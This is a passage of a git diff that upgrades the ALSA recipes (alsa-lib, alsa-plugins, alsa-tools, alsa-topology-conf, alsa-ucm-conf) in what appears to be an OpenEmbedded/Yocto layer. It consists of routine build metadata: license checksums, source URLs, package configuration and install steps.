+++ b/meta/recipes-multimedia/alsa/alsa-lib_1.2.6.1.bb
@@ -0,0 +1,44 @@
+SUMMARY = "ALSA sound library"
+DESCRIPTION = "(Occasionally a.k.a. libasound) is a userspace library that \
+provides a level of abstraction over the /dev interfaces provided by the kernel modules."
+HOMEPAGE = "http://www.alsa-project.org"
+BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
+SECTION = "libs/multimedia"
+LICENSE = "LGPL-2.1-only & GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7 \
+ file://src/socket.c;md5=285675b45e83f571c6a957fe4ab79c93;beginline=9;endline=24 \
+ "
+
+SRC_URI = "https://www.alsa-project.org/files/pub/lib/${BP}.tar.bz2"
+SRC_URI[sha256sum] = "ad582993d52cdb5fb159a0beab60a6ac57eab0cc1bdf85dc4db6d6197f02333f"
+
+inherit autotools pkgconfig
+
+EXTRA_OECONF += " \
+ ${@bb.utils.contains('TARGET_FPU', 'soft', '--with-softfloat', '', d)} \
+ --disable-python \
+"
+
+PACKAGES =+ "alsa-server alsa-conf libatopology"
+
+FILES:alsa-server = "${bindir}/*"
+FILES:alsa-conf = "${datadir}/alsa/"
+FILES:libatopology = "${libdir}/libatopology.so.*"
+
+RDEPENDS:${PN}:class-target = "alsa-conf alsa-ucm-conf"
+RDEPENDS:libatopology:class-target = "alsa-topology-conf"
+
+# upgrade path
+RPROVIDES:${PN} = "libasound"
+RREPLACES:${PN} = "libasound"
+RCONFLICTS:${PN} = "libasound"
+
+RPROVIDES:${PN}-dev = "alsa-dev"
+RREPLACES:${PN}-dev = "alsa-dev"
+RCONFLICTS:${PN}-dev = "alsa-dev"
+
+RPROVIDES:alsa-conf = "alsa-conf-base"
+RREPLACES:alsa-conf = "alsa-conf-base"
+RCONFLICTS:alsa-conf = "alsa-conf-base"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-multimedia/alsa/alsa-plugins_1.1.9.bb b/meta/recipes-multimedia/alsa/alsa-plugins_1.1.9.bb
deleted file mode 100644
index b94fc5cee3..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-plugins_1.1.9.bb
+++ /dev/null
@@ -1,173 +0,0 @@
-SUMMARY = "ALSA Plugins"
-HOMEPAGE = "http://alsa-project.org"
-BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
-SECTION = "multimedia"
-
-# The primary license of alsa-plugins is LGPLv2.1.
-#
-# m4/attributes.m4 is licensed under GPLv2+. m4/attributes.m4 is part of the
-# build system, and doesn't affect the licensing of the build result.
-#
-# The samplerate plugin source code is licensed under GPLv2+ to be consistent
-# with the libsamplerate license. However, if the licensee has a commercial
-# license for libsamplerate, the samplerate plugin may be used under the terms
-# of LGPLv2.1 like the rest of the plugins.
-LICENSE = "LGPLv2.1 & GPLv2+"
-LIC_FILES_CHKSUM = "\
- file://COPYING;md5=a916467b91076e631dd8edb7424769c7 \
- file://COPYING.GPL;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://m4/attributes.m4;endline=33;md5=b25958da44c02231e3641f1bccef53eb \
- file://rate/rate_samplerate.c;endline=35;md5=fd77bce85f4a338c0e8ab18430b69fae \
-"
-
-SRC_URI = "https://www.alsa-project.org/files/pub/plugins/${BP}.tar.bz2"
-SRC_URI[md5sum] = "e0caffbd849c51ed81751378f56cb563"
-SRC_URI[sha256sum] = "161772303da521abbbf1d91f63b470c4791392d5728f2192a42d71292078f907"
-
-DEPENDS += "alsa-lib"
-
-inherit autotools pkgconfig
-
-PACKAGECONFIG ??= "\
- samplerate \
- speexdsp \
- ${@bb.utils.filter('DISTRO_FEATURES', 'pulseaudio', d)} \
-"
-PACKAGECONFIG[aaf] = "--enable-aaf,--disable-aaf,avtp"
-PACKAGECONFIG[jack] = "--enable-jack,--disable-jack,jack"
-PACKAGECONFIG[libav] = "--enable-libav,--disable-libav,libav"
-PACKAGECONFIG[maemo-plugin] = "--enable-maemo-plugin,--disable-maemo-plugin"
-PACKAGECONFIG[maemo-resource-manager] = "--enable-maemo-resource-manager,--disable-maemo-resource-manager,dbus"
-PACKAGECONFIG[pulseaudio] = "--enable-pulseaudio,--disable-pulseaudio,pulseaudio"
-PACKAGECONFIG[samplerate] = "--enable-samplerate,--disable-samplerate,libsamplerate0"
-PACKAGECONFIG[speexdsp] = "--with-speex=lib,--with-speex=no,speexdsp"
-
-PACKAGES += "${@bb.utils.contains('PACKAGECONFIG', 'pulseaudio', 'alsa-plugins-pulseaudio-conf', '', d)}"
-
-PACKAGES_DYNAMIC = "^libasound-module-.*"
-
-# The alsa-plugins package doesn't itself contain anything, it just depends on
-# all built plugins.
-FILES_${PN} = ""
-ALLOW_EMPTY_${PN} = "1"
-
-do_install_append() {
- rm ${D}${libdir}/alsa-lib/*.la
-
- if [ "${@bb.utils.contains('PACKAGECONFIG', 'pulseaudio', 'yes', 'no', d)}" = "yes" ]; then
- # We use the example as is. Upstream installs the file under
- # /etc, but we move it under /usr/share and add a symlink under
- # /etc to be consistent with other installed configuration
- # files.
- mv ${D}${sysconfdir}/alsa/conf.d/99-pulseaudio-default.conf.example ${D}${datadir}/alsa/alsa.conf.d/99-pulseaudio-default.conf
- ln -s ${datadir}/alsa/alsa.conf.d/99-pulseaudio-default.conf ${D}${sysconfdir}/alsa/conf.d/99-pulseaudio-default.conf
- fi
-}
-
-python populate_packages_prepend() {
- plugindir = d.expand('${libdir}/alsa-lib/')
- packages = " ".join(do_split_packages(d, plugindir, r'^libasound_module_(.*)\.so$', 'libasound-module-%s', 'Alsa plugin for %s', extra_depends=''))
- d.setVar("RDEPENDS_alsa-plugins", packages)
-}
-
-# Many plugins have a configuration file (plus a symlink in /etc) associated
-# with them. We put the plugin and it's configuration usually in the same
-# package, but that's problematic when the configuration file is related to
-# multiple plugins, as is the case with the pulse, oss and maemo plugins. In
-# case of the pulse plugins, we have a separate alsa-plugins-pulseaudio-conf
-# package that depends on all the pulse plugins, which ensures that all plugins
-# that the configuration references are installed. The oss and maemo
-# configuration files, on the other hand, are in the respective pcm plugin
-# packages. Therefore it's possible to install the configuration file without
-# the ctl plugin that the configuration file references. This is unlikely to
-# cause big problems, but some kind of improvement to the packaging could
-# probably be done here (at least it would be good to handle the different
-# plugins in a consistent way).
-FILES_${MLPREFIX}libasound-module-ctl-arcam-av += "\
- ${datadir}/alsa/alsa.conf.d/50-arcam-av-ctl.conf \
- ${sysconfdir}/alsa/conf.d/50-arcam-av-ctl.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-a52 += "\
- ${datadir}/alsa/alsa.conf.d/60-a52-encoder.conf \
- ${sysconfdir}/alsa/conf.d/60-a52-encoder.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-alsa-dsp += "\
- ${datadir}/alsa/alsa.conf.d/98-maemo.conf \
- ${sysconfdir}/alsa/conf.d/98-maemo.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-jack += "\
- ${datadir}/alsa/alsa.conf.d/50-jack.conf \
- ${sysconfdir}/alsa/conf.d/50-jack.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-oss += "\
- ${datadir}/alsa/alsa.conf.d/50-oss.conf \
- ${sysconfdir}/alsa/conf.d/50-oss.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-speex += "\
- ${datadir}/alsa/alsa.conf.d/60-speex.conf \
- ${sysconfdir}/alsa/conf.d/60-speex.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-upmix += "\
- ${datadir}/alsa/alsa.conf.d/60-upmix.conf \
- ${sysconfdir}/alsa/conf.d/60-upmix.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-usb-stream += "\
- ${datadir}/alsa/alsa.conf.d/98-usb-stream.conf \
- ${sysconfdir}/alsa/conf.d/98-usb-stream.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-vdownmix += "\
- ${datadir}/alsa/alsa.conf.d/60-vdownmix.conf \
- ${sysconfdir}/alsa/conf.d/60-vdownmix.conf \
-"
-FILES_${MLPREFIX}libasound-module-rate-lavrate += "\
- ${datadir}/alsa/alsa.conf.d/10-rate-lav.conf \
- ${sysconfdir}/alsa/conf.d/10-rate-lav.conf \
-"
-FILES_${MLPREFIX}libasound-module-rate-samplerate += "\
- ${datadir}/alsa/alsa.conf.d/10-samplerate.conf \
- ${sysconfdir}/alsa/conf.d/10-samplerate.conf \
-"
-FILES_${MLPREFIX}libasound-module-rate-speexrate += "\
- ${datadir}/alsa/alsa.conf.d/10-speexrate.conf \
- ${sysconfdir}/alsa/conf.d/10-speexrate.conf \
-"
-
-# The rate plugins create some symlinks. For example, the samplerate plugin
-# creates these links to the main plugin file:
-#
-# libasound_module_rate_samplerate_best.so
-# libasound_module_rate_samplerate_linear.so
-# libasound_module_rate_samplerate_medium.so
-# libasound_module_rate_samplerate_order.so
-#
-# The other rate plugins create similar links. We have to add the links to
-# FILES manually, because do_split_packages() skips the links (which is good,
-# because we wouldn't want do_split_packages() to create separate packages for
-# the symlinks).
-#
-# The symlinks cause QA errors, because usually it's a bug if a non
-# -dev/-dbg/-nativesdk package contains links to .so files, but in this case
-# the errors are false positives, so we disable the QA checks.
-FILES_${MLPREFIX}libasound-module-rate-lavrate += "${libdir}/alsa-lib/*rate_lavrate_*.so"
-FILES_${MLPREFIX}libasound-module-rate-samplerate += "${libdir}/alsa-lib/*rate_samplerate_*.so"
-FILES_${MLPREFIX}libasound-module-rate-speexrate += "${libdir}/alsa-lib/*rate_speexrate_*.so"
-INSANE_SKIP_${MLPREFIX}libasound-module-rate-lavrate = "dev-so"
-INSANE_SKIP_${MLPREFIX}libasound-module-rate-samplerate = "dev-so"
-INSANE_SKIP_${MLPREFIX}libasound-module-rate-speexrate = "dev-so"
-
-# 50-pulseaudio.conf defines a device named "pulse" that applications can use
-# if they explicitly want to use the PulseAudio plugin.
-# 99-pulseaudio-default.conf configures the "default" device to use the
-# PulseAudio plugin.
-FILES_${PN}-pulseaudio-conf += "\
- ${datadir}/alsa/alsa.conf.d/50-pulseaudio.conf \
- ${datadir}/alsa/alsa.conf.d/99-pulseaudio-default.conf \
- ${sysconfdir}/alsa/conf.d/50-pulseaudio.conf \
- ${sysconfdir}/alsa/conf.d/99-pulseaudio-default.conf \
-"
-
-RDEPENDS_${PN}-pulseaudio-conf += "\
- libasound-module-conf-pulse \
- libasound-module-ctl-pulse \
- libasound-module-pcm-pulse \
-"
diff --git a/meta/recipes-multimedia/alsa/alsa-plugins_1.2.6.bb b/meta/recipes-multimedia/alsa/alsa-plugins_1.2.6.bb
new file mode 100644
index 0000000000..c435f61d4c
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-plugins_1.2.6.bb
@@ -0,0 +1,174 @@
+SUMMARY = "ALSA Plugins"
+DESCRIPTION = "Used to create virtual devices that can be used like normal \
+hardware devices but cause extra processing of the sound stream to take place. \
+They are used while configuring ALSA in the .asoundrc file."
+HOMEPAGE = "http://alsa-project.org"
+BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
+SECTION = "multimedia"
+
+# The primary license of alsa-plugins is LGPL-2.1-only.
+#
+# m4/attributes.m4 is licensed under GPL-2.0-or-later. m4/attributes.m4 is part
+# of the build system, and doesn't affect the licensing of the build result.
+#
+# The samplerate plugin source code is licensed under GPL-2.0-or-later to be
+# consistent with the libsamplerate license. However, if the licensee has a
+# commercial license for libsamplerate, the samplerate plugin may be used under
+# the terms of LGPL-2.1-only like the rest of the plugins.
+LICENSE = "LGPL-2.1-only & GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7 \
+ file://COPYING.GPL;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://m4/attributes.m4;endline=33;md5=bb8c6b2a67ac15156961e242fec33e50 \
+ file://rate/rate_samplerate.c;endline=35;md5=fd77bce85f4a338c0e8ab18430b69fae \
+ "
+
+SRC_URI = "https://www.alsa-project.org/files/pub/plugins/${BP}.tar.bz2"
+SRC_URI[sha256sum] = "068818a4b55d8c029daa00015d853d45113f56b224b7c64e1e117988c825b2a0"
+
+DEPENDS += "alsa-lib"
+
+inherit autotools pkgconfig
+
+PACKAGECONFIG ??= "\
+ samplerate \
+ speexdsp \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'pulseaudio', d)} \
+"
+PACKAGECONFIG[aaf] = "--enable-aaf,--disable-aaf,avtp"
+PACKAGECONFIG[jack] = "--enable-jack,--disable-jack,jack"
+PACKAGECONFIG[libav] = "--enable-libav,--disable-libav,libav"
+PACKAGECONFIG[maemo-plugin] = "--enable-maemo-plugin,--disable-maemo-plugin"
+PACKAGECONFIG[maemo-resource-manager] = "--enable-maemo-resource-manager,--disable-maemo-resource-manager,dbus"
+PACKAGECONFIG[pulseaudio] = "--enable-pulseaudio,--disable-pulseaudio,pulseaudio"
+PACKAGECONFIG[samplerate] = "--enable-samplerate,--disable-samplerate,libsamplerate0"
+PACKAGECONFIG[speexdsp] = "--with-speex=lib,--with-speex=no,speexdsp"
+
+PACKAGES += "${@bb.utils.contains('PACKAGECONFIG', 'pulseaudio', 'alsa-plugins-pulseaudio-conf', '', d)}"
+
+PACKAGES_DYNAMIC = "^libasound-module-.*"
+
+# The alsa-plugins package doesn't itself contain anything, it just depends on
+# all built plugins.
+FILES:${PN} = ""
+ALLOW_EMPTY:${PN} = "1"
+
+do_install:append() {
+ rm -f ${D}${libdir}/alsa-lib/*.la
+
+ if [ "${@bb.utils.contains('PACKAGECONFIG', 'pulseaudio', 'yes', 'no', d)}" = "yes" ]; then
+ # We use the example as is. Upstream installs the file under
+ # /etc, but we move it under /usr/share and add a symlink under
+ # /etc to be consistent with other installed configuration
+ # files.
+ mv ${D}${sysconfdir}/alsa/conf.d/99-pulseaudio-default.conf.example ${D}${datadir}/alsa/alsa.conf.d/99-pulseaudio-default.conf
+ ln -s ${datadir}/alsa/alsa.conf.d/99-pulseaudio-default.conf ${D}${sysconfdir}/alsa/conf.d/99-pulseaudio-default.conf
+ fi
+}
+
+python populate_packages:prepend() {
+ plugindir = d.expand('${libdir}/alsa-lib/')
+ packages = " ".join(do_split_packages(d, plugindir, r'^libasound_module_(.*)\.so$', 'libasound-module-%s', 'Alsa plugin for %s', extra_depends=''))
+ d.setVar("RDEPENDS:alsa-plugins", packages)
+}
+
+# Many plugins have a configuration file (plus a symlink in /etc) associated
+# with them. We put the plugin and it's configuration usually in the same
+# package, but that's problematic when the configuration file is related to
+# multiple plugins, as is the case with the pulse, oss and maemo plugins. In
+# case of the pulse plugins, we have a separate alsa-plugins-pulseaudio-conf
+# package that depends on all the pulse plugins, which ensures that all plugins
+# that the configuration references are installed. The oss and maemo
+# configuration files, on the other hand, are in the respective pcm plugin
+# packages. Therefore it's possible to install the configuration file without
+# the ctl plugin that the configuration file references. This is unlikely to
+# cause big problems, but some kind of improvement to the packaging could
+# probably be done here (at least it would be good to handle the different
+# plugins in a consistent way).
+FILES:${MLPREFIX}libasound-module-ctl-arcam-av += "\
+ ${datadir}/alsa/alsa.conf.d/50-arcam-av-ctl.conf \
+ ${sysconfdir}/alsa/conf.d/50-arcam-av-ctl.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-a52 += "\
+ ${datadir}/alsa/alsa.conf.d/60-a52-encoder.conf \
+ ${sysconfdir}/alsa/conf.d/60-a52-encoder.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-alsa-dsp += "\
+ ${datadir}/alsa/alsa.conf.d/98-maemo.conf \
+ ${sysconfdir}/alsa/conf.d/98-maemo.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-jack += "\
+ ${datadir}/alsa/alsa.conf.d/50-jack.conf \
+ ${sysconfdir}/alsa/conf.d/50-jack.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-oss += "\
+ ${datadir}/alsa/alsa.conf.d/50-oss.conf \
+ ${sysconfdir}/alsa/conf.d/50-oss.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-speex += "\
+ ${datadir}/alsa/alsa.conf.d/60-speex.conf \
+ ${sysconfdir}/alsa/conf.d/60-speex.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-upmix += "\
+ ${datadir}/alsa/alsa.conf.d/60-upmix.conf \
+ ${sysconfdir}/alsa/conf.d/60-upmix.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-usb-stream += "\
+ ${datadir}/alsa/alsa.conf.d/98-usb-stream.conf \
+ ${sysconfdir}/alsa/conf.d/98-usb-stream.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-vdownmix += "\
+ ${datadir}/alsa/alsa.conf.d/60-vdownmix.conf \
+ ${sysconfdir}/alsa/conf.d/60-vdownmix.conf \
+"
+FILES:${MLPREFIX}libasound-module-rate-lavrate += "\
+ ${datadir}/alsa/alsa.conf.d/10-rate-lav.conf \
+ ${sysconfdir}/alsa/conf.d/10-rate-lav.conf \
+"
+FILES:${MLPREFIX}libasound-module-rate-samplerate += "\
+ ${datadir}/alsa/alsa.conf.d/10-samplerate.conf \
+ ${sysconfdir}/alsa/conf.d/10-samplerate.conf \
+"
+FILES:${MLPREFIX}libasound-module-rate-speexrate += "\
+ ${datadir}/alsa/alsa.conf.d/10-speexrate.conf \
+ ${sysconfdir}/alsa/conf.d/10-speexrate.conf \
+"
+
+# The rate plugins create some symlinks. For example, the samplerate plugin
+# creates these links to the main plugin file:
+#
+# libasound_module_rate_samplerate_best.so
+# libasound_module_rate_samplerate_linear.so
+# libasound_module_rate_samplerate_medium.so
+# libasound_module_rate_samplerate_order.so
+#
+# The other rate plugins create similar links. We have to add the links to
+# FILES manually, because do_split_packages() skips the links (which is good,
+# because we wouldn't want do_split_packages() to create separate packages for
+# the symlinks).
+#
+# The symlinks cause QA errors, because usually it's a bug if a non
+# -dev/-dbg/-nativesdk package contains links to .so files, but in this case
+# the errors are false positives, so we disable the QA checks.
+FILES:${MLPREFIX}libasound-module-rate-lavrate += "${libdir}/alsa-lib/*rate_lavrate_*.so"
+FILES:${MLPREFIX}libasound-module-rate-samplerate += "${libdir}/alsa-lib/*rate_samplerate_*.so"
+FILES:${MLPREFIX}libasound-module-rate-speexrate += "${libdir}/alsa-lib/*rate_speexrate_*.so"
+INSANE_SKIP:${MLPREFIX}libasound-module-rate-lavrate = "dev-so"
+INSANE_SKIP:${MLPREFIX}libasound-module-rate-samplerate = "dev-so"
+INSANE_SKIP:${MLPREFIX}libasound-module-rate-speexrate = "dev-so"
+
+# 50-pulseaudio.conf defines a device named "pulse" that applications can use
+# if they explicitly want to use the PulseAudio plugin.
+# 99-pulseaudio-default.conf configures the "default" device to use the
+# PulseAudio plugin.
+FILES:${PN}-pulseaudio-conf += "\
+ ${datadir}/alsa/alsa.conf.d/50-pulseaudio.conf \
+ ${datadir}/alsa/alsa.conf.d/99-pulseaudio-default.conf \
+ ${sysconfdir}/alsa/conf.d/50-pulseaudio.conf \
+ ${sysconfdir}/alsa/conf.d/99-pulseaudio-default.conf \
+"
+
+RDEPENDS:${PN}-pulseaudio-conf += "\
+ ${MLPREFIX}libasound-module-conf-pulse \
+ ${MLPREFIX}libasound-module-ctl-pulse \
+ ${MLPREFIX}libasound-module-pcm-pulse \
+"
diff --git a/meta/recipes-multimedia/alsa/alsa-tools_1.1.7.bb b/meta/recipes-multimedia/alsa/alsa-tools_1.1.7.bb
deleted file mode 100644
index c1f4acdb03..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-tools_1.1.7.bb
+++ /dev/null
@@ -1,86 +0,0 @@
-SUMMARY = "Advanced tools for certain ALSA sound card drivers"
-HOMEPAGE = "http://www.alsa-project.org"
-BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
-SECTION = "console/utils"
-LICENSE = "GPLv2 & LGPLv2+"
-DEPENDS = "alsa-lib"
-
-LIC_FILES_CHKSUM = "file://hdsploader/COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://ld10k1/COPYING.LIB;md5=a916467b91076e631dd8edb7424769c7 \
- "
-
-SRC_URI = "https://www.alsa-project.org/files/pub/tools/${BP}.tar.bz2"
-
-SRC_URI[md5sum] = "475bdf6457bcf55c8c895d653ee56a54"
-SRC_URI[sha256sum] = "a0243328a8f6f691a3055c484fd8d3326393096325e93743b246029d327c4ef6"
-
-inherit autotools-brokensep pkgconfig
-# brokensep as as10k1 (and probably more) fail out of tree
-CLEANBROKEN = "1"
-
-# Here we use PACKAGECONFIG options to pick which directories we configure/build.
-# Remember on upgrades to check that no new tools have been added.
-PACKAGECONFIG ??= "as10k1 hdajacksensetest hda-verb hdsploader ld10k1 mixartloader pcxhrloader \
- sb16_csp seq--sbiload sscape_ctl us428control usx2yloader vxloader \
- ${@bb.utils.contains_any('DISTRO_FEATURES', '${GTK3DISTROFEATURES}', 'hdajackretask', '', d)} \
- "
-
-PACKAGECONFIG[as10k1] = ""
-PACKAGECONFIG[echomixer] = ",,gtk+"
-PACKAGECONFIG[envy24control] = ",,gtk+"
-PACKAGECONFIG[hda-verb] = ""
-PACKAGECONFIG[hdajackretask] = ",,gtk+3"
-PACKAGECONFIG[hdajacksensetest] = ",,glib-2.0"
-PACKAGECONFIG[hdspconf] = ",,fltk"
-PACKAGECONFIG[hdsploader] = ""
-PACKAGECONFIG[hdspmixer] = ",,fltk"
-PACKAGECONFIG[ld10k1] = ""
-PACKAGECONFIG[mixartloader] = ""
-PACKAGECONFIG[pcxhrloader] = ""
-PACKAGECONFIG[qlo10k1] = ",,qt-x11-free"
-PACKAGECONFIG[rmedigicontrol] = ",,gtk+"
-PACKAGECONFIG[sb16_csp] = ""
-PACKAGECONFIG[seq--sbiload] = ""
-PACKAGECONFIG[sscape_ctl] = ""
-PACKAGECONFIG[us428control] = ""
-PACKAGECONFIG[usx2yloader] = ""
-PACKAGECONFIG[vxloader] = ""
-
-# At the time of writing pyalsa is not packaged for OE, so this is not expected
-# to work.
-PACKAGECONFIG[hwmixvolume] = ",,,python-core python-pygobject pyalsa"
-
-python do_configure() {
- for subdir in d.getVar("PACKAGECONFIG").split():
- subdir = subdir.replace("--", "/")
- bb.note("Configuring %s" % subdir)
- dd = d.createCopy()
- dd.setVar("S", os.path.join(d.getVar("S"), subdir))
- bb.build.exec_func("autotools_do_configure", dd)
-}
-
-python do_compile() {
- for subdir in d.getVar("PACKAGECONFIG").split():
- subdir = subdir.replace("--", "/")
- bb.note("Compiling %s" % subdir)
- dd = d.createCopy()
- dd.setVar("S", os.path.join(d.getVar("S"), subdir))
- bb.build.exec_func("autotools_do_compile", dd)
-}
-
-python do_install() {
- for subdir in d.getVar("PACKAGECONFIG").split():
- subdir = subdir.replace("--", "/")
- bb.note("Installing %s" % subdir)
- dd = d.createCopy()
- dd.setVar("S", os.path.join(d.getVar("S"), subdir))
- bb.build.exec_func("autotools_do_install", dd)
-
- # Just remove bash-needing init script that isn't installed as an init script
- try:
- os.remove(oe.path.join(d.getVar("D"), d.getVar("sbindir"), "ld10k1d"))
- except:
- pass
-}
-
-FILES_${PN} += "${datadir}"
diff --git a/meta/recipes-multimedia/alsa/alsa-tools_1.2.5.bb b/meta/recipes-multimedia/alsa/alsa-tools_1.2.5.bb
new file mode 100644
index 0000000000..b0832f93c1
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-tools_1.2.5.bb
@@ -0,0 +1,88 @@
+SUMMARY = "Advanced tools for certain ALSA sound card drivers"
+DESCRIPTION = "Package containing a number of tools ranging from envy24control \
+which provides complete control over all devices with an envy24 chip, to \
+firmware loaders for pcmcia, USB and the hdsp devices."
+HOMEPAGE = "http://www.alsa-project.org"
+BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
+SECTION = "console/utils"
+LICENSE = "GPL-2.0-only & LGPL-2.0-or-later"
+DEPENDS = "alsa-lib"
+
+LIC_FILES_CHKSUM = "file://hdsploader/COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://ld10k1/COPYING.LIB;md5=a916467b91076e631dd8edb7424769c7 \
+ "
+
+SRC_URI = "https://www.alsa-project.org/files/pub/tools/${BP}.tar.bz2"
+
+SRC_URI[sha256sum] = "35a71027a01f4d7de4722e223520e940de68b3c570b6c671691567ae28f9893e"
+
+inherit autotools-brokensep pkgconfig
+# brokensep as as10k1 (and probably more) fail out of tree
+CLEANBROKEN = "1"
+
+# Here we use PACKAGECONFIG options to pick which directories we configure/build.
+# Remember on upgrades to check that no new tools have been added.
+PACKAGECONFIG ??= "as10k1 hdajacksensetest hda-verb hdsploader ld10k1 mixartloader pcxhrloader \
+ sb16_csp seq--sbiload sscape_ctl us428control usx2yloader vxloader \
+ ${@bb.utils.contains_any('DISTRO_FEATURES', '${GTK3DISTROFEATURES}', 'hdajackretask', '', d)} \
+ "
+
+PACKAGECONFIG[as10k1] = ""
+PACKAGECONFIG[echomixer] = ",,gtk+"
+PACKAGECONFIG[envy24control] = ",,gtk+"
+PACKAGECONFIG[hda-verb] = ""
+PACKAGECONFIG[hdajackretask] = ",,gtk+3"
+PACKAGECONFIG[hdajacksensetest] = ",,glib-2.0"
+PACKAGECONFIG[hdspconf] = ",,fltk"
+PACKAGECONFIG[hdsploader] = ""
+PACKAGECONFIG[hdspmixer] = ",,fltk"
+PACKAGECONFIG[ld10k1] = ""
+PACKAGECONFIG[mixartloader] = ""
+PACKAGECONFIG[pcxhrloader] = ""
+PACKAGECONFIG[qlo10k1] = ",,qt-x11-free"
+PACKAGECONFIG[rmedigicontrol] = ",,gtk+"
+PACKAGECONFIG[sb16_csp] = ""
+PACKAGECONFIG[seq--sbiload] = ""
+PACKAGECONFIG[sscape_ctl] = ""
+PACKAGECONFIG[us428control] = ""
+PACKAGECONFIG[usx2yloader] = ""
+PACKAGECONFIG[vxloader] = ""
+
+# At the time of writing pyalsa is not packaged for OE, so this is not expected
+# to work.
+PACKAGECONFIG[hwmixvolume] = ",,,python-core python-pygobject pyalsa"
+
+python do_configure() {
+ for subdir in d.getVar("PACKAGECONFIG").split():
+ subdir = subdir.replace("--", "/")
+ bb.note("Configuring %s" % subdir)
+ dd = d.createCopy()
+ dd.setVar("S", os.path.join(d.getVar("S"), subdir))
+ bb.build.exec_func("autotools_do_configure", dd)
+}
+
+python do_compile() {
+ for subdir in d.getVar("PACKAGECONFIG").split():
+ subdir = subdir.replace("--", "/")
+ bb.note("Compiling %s" % subdir)
+ dd = d.createCopy()
+ dd.setVar("S", os.path.join(d.getVar("S"), subdir))
+ bb.build.exec_func("autotools_do_compile", dd)
+}
+
+python do_install() {
+ for subdir in d.getVar("PACKAGECONFIG").split():
+ subdir = subdir.replace("--", "/")
+ bb.note("Installing %s" % subdir)
+ dd = d.createCopy()
+ dd.setVar("S", os.path.join(d.getVar("S"), subdir))
+ bb.build.exec_func("autotools_do_install", dd)
+
+ # Just remove bash-needing init script that isn't installed as an init script
+ try:
+ os.remove(oe.path.join(d.getVar("D"), d.getVar("sbindir"), "ld10k1d"))
+ except:
+ pass
+}
+
+FILES:${PN} += "${datadir}"
diff --git a/meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.5.1.bb b/meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.5.1.bb
new file mode 100644
index 0000000000..4374a6bb6d
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.5.1.bb
@@ -0,0 +1,23 @@
+SUMMARY = "ALSA topology configuration files"
+DESCRIPTION = "Provides a method for audio drivers to load their mixers, \
+routing, PCMs and capabilities from user space at runtime without changing \
+any driver source code."
+HOMEPAGE = "https://alsa-project.org"
+BUGTRACKER = "https://alsa-project.org/wiki/Bug_Tracking"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=20d74d74db9741697903372ad001d3b4"
+
+SRC_URI = "https://www.alsa-project.org/files/pub/lib/${BP}.tar.bz2"
+SRC_URI[sha256sum] = "f7c5bae1545abcd73824bc97f4e72c340e11abea188ba0f1c06f5e0ad776b179"
+# Something went wrong at upstream tarballing
+
+inherit allarch
+
+do_install() {
+ install -d "${D}${datadir}/alsa"
+ cp -r "${S}/topology" "${D}${datadir}/alsa"
+}
+
+PACKAGES = "${PN}"
+
+FILES:${PN} = "*"
diff --git a/meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.6.3.bb b/meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.6.3.bb
new file mode 100644
index 0000000000..a493269063
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.6.3.bb
@@ -0,0 +1,24 @@
+SUMMARY = "ALSA Use Case Manager configuration"
+DESCRIPTION = "This package contains ALSA Use Case Manager configuration \
+of audio input/output names and routing for specific audio hardware. \
+They can be used with the alsaucm tool. "
+HOMEPAGE = "https://alsa-project.org"
+BUGTRACKER = "https://alsa-project.org/wiki/Bug_Tracking"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=20d74d74db9741697903372ad001d3b4"
+
+SRC_URI = "https://www.alsa-project.org/files/pub/lib/${BP}.tar.bz2"
+SRC_URI[sha256sum] = "b8a03aa387a624a2f65edc201bf777421190b60529a92087646823afbd96c5cd"
+# Something went wrong at upstream tarballing
+
+inherit allarch
+
+do_install() {
+ install -d "${D}${datadir}/alsa"
+ cp -r "${S}/ucm" "${D}${datadir}/alsa"
+ cp -r "${S}/ucm2" "${D}${datadir}/alsa"
+}
+
+PACKAGES = "${PN}"
+
+FILES:${PN} = "*"
diff --git a/meta/recipes-multimedia/alsa/alsa-utils-scripts_1.1.9.bb b/meta/recipes-multimedia/alsa/alsa-utils-scripts_1.1.9.bb
